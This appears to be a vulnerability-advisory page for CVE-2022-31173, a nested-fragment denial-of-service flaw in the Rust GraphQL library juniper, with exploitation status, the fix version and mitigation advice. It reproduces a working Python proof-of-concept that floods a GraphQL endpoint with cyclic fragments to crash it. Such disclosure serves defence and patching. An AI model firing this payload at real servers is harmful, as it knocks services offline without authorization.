CVE-2022-31173 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in juniper. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for juniper — see the affected versions and patch details below.
Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2022-31173.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
juniperReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
GraphQL behaviour
Nested fragment in GraphQL might be quite hard to handle depending on the implementation language. Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.
# Infinite loop example
query {
...a
}
fragment a on Query {
...b
}
fragment b on Query {
...a
}
POC TLDR
With max_size being the number of nested fragment generated. At max_size=7500, it should instantly raise:

However, with a lower size, you will overflow the memory after some iterations.
Reproduction steps (Juniper)
git clone https://github.com/graphql-rust/juniper.git
cd juniper
Save this POC as poc.py
import requests
import time
import json
from itertools import permutations
print('=== Fragments POC ===')
url = 'http://localhost:8080/graphql'
max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]
fragment_payloads = ''
for i, perm in enumerate(perms):
next_perm = perms[i+1] if i < max_size-1 else perms[0]
fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'
payload = {'query':'query{\n ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}
headers = {
'Content-Type': 'application/json',
}
try:
response = requests.request('POST', url, headers=headers, json=payload)
print(response.text)
except requests.exceptions.ConnectionError:
print('Connection closed, POC worked.')
cargo run
[in separate shell] python3 poc.py
Credits
@c3b5aw @MdotTIM @karimhreda
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | juniper | all versions | 0.15.10cargo update -p juniper --precise 0.15.10 |
Affected Products
juniperjuniper_projectResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for juniper, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update juniper to 0.15.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2022-31173 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.
Frequently Asked Questions
Is CVE-2022-31173 in your dependencies?
Find it across crates.io, including transitive dependencies.